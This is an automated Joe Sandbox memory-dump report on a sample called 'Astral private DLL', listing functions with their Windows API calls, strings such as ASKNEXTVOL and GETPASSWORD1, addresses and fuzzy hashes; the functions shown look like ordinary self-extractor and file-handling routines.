Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 984aa28c6bf631defc73bd17e4058da80f3c8b8d9b9f467fe9f2c30e130359ee
Instruction ID: 7cb775edad333f3241b4440ab9471279f5f7f125ff0c42df2b75523e8dc9f73c
Opcode Fuzzy Hash: 984aa28c6bf631defc73bd17e4058da80f3c8b8d9b9f467fe9f2c30e130359ee
Instruction Fuzzy Hash: 2231E471D04258BEDF11EBA4CC45FEEBBB8AF29308F044055F445A71C2CB748AA4CB60

Function 0017AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00161316: GetDlgItem.USER32(00000000,00003021), ref: 0016135A
Part of subcall function 00161316: SetWindowTextW.USER32(00000000,001935F4), ref: 00161370

EndDialog.USER32(?,00000001), ref: 0017AD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0017ADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0017ADC2

Strings

ASKNEXTVOL, xrefs: 0017AD28

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 44bb1ff42c1fa28e2daff537ea6f99b290701500e85a21dd88232ab20479ef99
Instruction ID: 870ae3bcecf04c31038afeb7d0ef75aac988e1a2580997a865cd61386268d03c
Opcode Fuzzy Hash: 44bb1ff42c1fa28e2daff537ea6f99b290701500e85a21dd88232ab20479ef99
Instruction Fuzzy Hash: A2119332280200BFD7219FA8DC45FAE7B79EF9B742F844010F245DBDA1C761D9659726

Function 0016D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0016D954
_strncpy.LIBCMT ref: 0016D99A

Part of subcall function 00171DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,001A1030,00000200,0016D928,00000000,?,00000050,001A1030), ref: 00171DC4

Strings

@%s, xrefs: 0016D93E
$%s, xrefs: 0016D949

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 555c8d3cbbec879d03bc0b3837dfb8f62f4e6c69533d4027b860cb9561b325b3
Instruction ID: e9f726db243bc9e8f1671dc6389bee28975df1c7db6d05287c63c246da7c7441
Opcode Fuzzy Hash: 555c8d3cbbec879d03bc0b3837dfb8f62f4e6c69533d4027b860cb9561b325b3
Instruction Fuzzy Hash: E7217272A40348AEEF21EEA4DC05FEE7BE8AF15708F044512F914D61A2E372D668CF51

Function 00170E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0016AC5A,00000008,?,00000000,?,0016D22D,?,00000000), ref: 00170E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0016AC5A,00000008,?,00000000,?,0016D22D,?,00000000), ref: 00170E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0016AC5A,00000008,?,00000000,?,0016D22D,?,00000000), ref: 00170E9F

Strings

Thread pool initialization failed., xrefs: 00170EB7

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 9c6bcd3849cc8a198103fecc8cd98a6d6c764fab0245a296d2cdaed2243161cb
Instruction ID: dfb98b227c249c137e17d865d1f4f7d8daae5fc30ae6a2bbcfa238ca84b2d153
Opcode Fuzzy Hash: 9c6bcd3849cc8a198103fecc8cd98a6d6c764fab0245a296d2cdaed2243161cb
Instruction Fuzzy Hash: 331151B1640708EFC3215F7ADC849A7FBECEB69744F14882EF1DAC2200DB715A818B60

Function 0017B270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00161316: GetDlgItem.USER32(00000000,00003021), ref: 0016135A
Part of subcall function 00161316: SetWindowTextW.USER32(00000000,001935F4), ref: 00161370

EndDialog.USER32(?,00000001), ref: 0017B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0017B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0017B304

Strings

GETPASSWORD1, xrefs: 0017B289

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 959deacf05d3f23b48ea248eee84e4a09f0b440fe5fb61d3ea2a992853f1aa28
Instruction ID: 59717487d4a034c564dccf757876863d15cb76cbaddf8dac94c6fa5aaa945723
Opcode Fuzzy Hash: 959deacf05d3f23b48ea248eee84e4a09f0b440fe5fb61d3ea2a992853f1aa28
Instruction Fuzzy Hash: E811E5329041147ADB129A649C89FFF3B7DFB19700F048020FA49B2580D7A0E9518771

Function 0017DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 0017DD1C, 0017DD50
RENAMEDLG, xrefs: 0017DD31

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 8a96f024c748052e9811c3ed6fc1464c405e57b1cacc7a382ec867e617bdb117
Instruction ID: b0a1f52587d4e5b32b99d9ea8271e1bae854b546bfb3912dd17d87945a1468f7
Opcode Fuzzy Hash: 8a96f024c748052e9811c3ed6fc1464c405e57b1cacc7a382ec867e617bdb117
Instruction Fuzzy Hash: B101B576604249AFCB215FA4FD44E963FB5FB09394B018025F90993A70C7319CD0DBA0

Function 00189A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00189AA9
__alldvrm.LIBCMT ref: 00189CAA
__alldvrm.LIBCMT ref: 00189CCC

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction ID: ff88dd74f1786e1e9b04317b7a1f2b56ae6a87865d820aef73c5e41a0ad0019e
Opcode Fuzzy Hash: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction Fuzzy Hash: F0A13872A043869FDB25EF58C8917BEBBE5EF65310F1C41ADE4459B281C7358A41CB50

Function 0016A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00167F69,?,?,?), ref: 0016A3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00167F69,?), ref: 0016A43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00167F69,?,?,?,?,?,?,?), ref: 0016A4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00167F69,?,?,?,?,?,?,?,?,?,?), ref: 0016A4C6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 4b4b092d81a68178c20a6f5c9fe7089a001f20ae5d41d3c79c4a973db27203e8
Instruction ID: 7cb5d4b3d469b6a32ecd4346ef26efc8610cdcc42363ad167be03be849b9aa27
Opcode Fuzzy Hash: 4b4b092d81a68178c20a6f5c9fe7089a001f20ae5d41d3c79c4a973db27203e8
Instruction Fuzzy Hash: EA41C031288381AAD731DF24DC45FAEBBE4AF95700F48091DB5E5A3280DBA4DA58DF53

Function 00161100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0016112B
_wcslen.LIBCMT ref: 00161153
_wcslen.LIBCMT ref: 00161182
_wcslen.LIBCMT ref: 001611A9

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 552e072f6e2bca12cf2cce1e65a9c724c3e4a86ac1353951121b3625602d8835
Instruction ID: d37f4ef5bd67f9dcf015240ebc38089e4b821b3c56943faa23f98ab1a88d9ccf
Opcode Fuzzy Hash: 552e072f6e2bca12cf2cce1e65a9c724c3e4a86ac1353951121b3625602d8835
Instruction Fuzzy Hash: E841C171900669ABCB21EF68CC1A9EF7BB8EF15711F044029F955E7241DB30EE558BA0

Function 0018C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,001891E0,?,00000000,?,00000001,?,?,00000001,001891E0,?), ref: 0018C9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0018CA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00186CBE,?), ref: 0018CA70
__freea.LIBCMT ref: 0018CA79

Part of subcall function 00188E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0018CA2C,00000000,?,00186CBE,?,00000008,?,001891E0,?,?,?), ref: 00188E38

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 90bcd0d008ae7da44a94b71655eee4bc5aafd681593f89d5f616d77aa2a0b5d9
Instruction ID: 2a31f651011d6224f8dbd2172c51833d98cfeb2aa22be1f22747603244ed9fdc
Opcode Fuzzy Hash: 90bcd0d008ae7da44a94b71655eee4bc5aafd681593f89d5f616d77aa2a0b5d9
Instruction Fuzzy Hash: 6531B072A0021AABDF28EF74DC81DAE7BA5EB01310B144169FC15E7250EB35DE90CBE0

Function 0017A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0017A666
GetDeviceCaps.GDI32(00000000,00000058), ref: 0017A675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0017A683
ReleaseDC.USER32(00000000,00000000), ref: 0017A691

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: b148211fdf8fbfbf6d9b202aa21b90f455d3226b7761addf26a568fba61d8ec9
Instruction ID: f25ce067bdbf6c462cea7f5b9dbf36b19eb9b63240fa1fb9ae2c19ef5bf91ef7
Opcode Fuzzy Hash: b148211fdf8fbfbf6d9b202aa21b90f455d3226b7761addf26a568fba61d8ec9
Instruction Fuzzy Hash: 02E0EC33942721A7D2616B60AC0DF8E3E64EB0AB52F018101FA1596590DB64C6908BA1

Function 0017A80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 0017A699: GetDC.USER32(00000000), ref: 0017A69D
Part of subcall function 0017A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0017A6A8
Part of subcall function 0017A699: ReleaseDC.USER32(00000000,00000000), ref: 0017A6B3

GetObjectW.GDI32(?,00000018,?), ref: 0017A83C

Part of subcall function 0017AAC9: GetDC.USER32(00000000), ref: 0017AAD2
Part of subcall function 0017AAC9: GetObjectW.GDI32(?,00000018,?), ref: 0017AB01
Part of subcall function 0017AAC9: ReleaseDC.USER32(00000000,?), ref: 0017AB99

Strings

(, xrefs: 0017A9AA

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 4235df51d83fefb45505d74e01b3e4741096cd2f01c6e13faa0e33b0c7cd2e18
Instruction ID: 33a155dbb34b2e95c3f1db02f73466b28bbae0e6c49c0891fdf844656d5cf58b
Opcode Fuzzy Hash: 4235df51d83fefb45505d74e01b3e4741096cd2f01c6e13faa0e33b0c7cd2e18
Instruction Fuzzy Hash: 6D91CD71608354AFD611DF25C844A6BBBF9FFC9701F00891EF59AD3260DB30A946CB62

Function 001675DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001675E3

Part of subcall function 001705DA: _wcslen.LIBCMT ref: 001705E0

Part of subcall function 0016A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0016A598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0016777F

Part of subcall function 0016A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0016A325,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A501
Part of subcall function 0016A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0016A325,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A532

Strings

:, xrefs: 00167654

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 2ae2d46051dd1a341b7904898281d3bcebe9de4d8845b8c521b8b759136cbbed
Instruction ID: 29090ecaf1bc65230f8c58468529d301a33491a05466cf19860ec58dd5be9c67
Opcode Fuzzy Hash: 2ae2d46051dd1a341b7904898281d3bcebe9de4d8845b8c521b8b759136cbbed
Instruction Fuzzy Hash: D1419371800258AAEB25EB64CC59EEEB37CAF65300F0080D6B60AA3092DB745F95CF70

Function 0017B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0017B4E3
_wcslen.LIBCMT ref: 0017B4FE

Strings

}, xrefs: 0017B4D6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 29dc1b33cddbc1c58743500fccd36eb8d6c9e30c6e09d8949434009bc1eef113
Instruction ID: 935bc8942f64cf2b1e335e2525a9bf2f06484de9775b6abfd07788f3f71eb5c5
Opcode Fuzzy Hash: 29dc1b33cddbc1c58743500fccd36eb8d6c9e30c6e09d8949434009bc1eef113
Instruction Fuzzy Hash: 1721237290830A5ADB31EA64D881F6FB3FCDFA1714F14442AF548C3141EB74DE4883A2

Function 0016F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0016F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0016F2E4
Part of subcall function 0016F2C5: GetProcAddress.KERNEL32(001A81C8,CryptUnprotectMemory), ref: 0016F2F4

GetCurrentProcessId.KERNEL32(?,?,?,0016F33E), ref: 0016F3D2

Strings

CryptUnprotectMemory failed, xrefs: 0016F3CA
CryptProtectMemory failed, xrefs: 0016F389

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 41705b867f9987532152bae3a62604cb8d5b8360510ceaf4ee127da2272c5109
Instruction ID: ee543ab5bccbb0c609b174e0a16d87fe3f09c5abdeebf6c52168fc8d04b5f885
Opcode Fuzzy Hash: 41705b867f9987532152bae3a62604cb8d5b8360510ceaf4ee127da2272c5109
Instruction Fuzzy Hash: 8811E631A01629ABDF15AF28ED45A6E3754FF01760B04812EFC51AB391DB749E62C790

Function 0016B991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0016B9B8

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

Strings

%c:\, xrefs: 0016B9AE

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: ed260c5e0a125d7a27646c1da82d5f8838efff9f89bd90e5c72e78bbc28c29b1
Instruction ID: 8058068aeb8734de167cef7e53d3568b8d00c6c7c0f5e98f474f0cf65984290f
Opcode Fuzzy Hash: ed260c5e0a125d7a27646c1da82d5f8838efff9f89bd90e5c72e78bbc28c29b1
Instruction Fuzzy Hash: DB01286350831179DA347BB98CC6D6BA7ACEFA17B0B40440AF554D7082EB30D9A0C3F1

Function 0017101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00171160,?,00000000,00000000), ref: 00171043
SetThreadPriority.KERNEL32(?,00000000), ref: 0017108A

Part of subcall function 00166C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00166C54

Strings

CreateThread failed, xrefs: 0017104F

Memory Dump Source

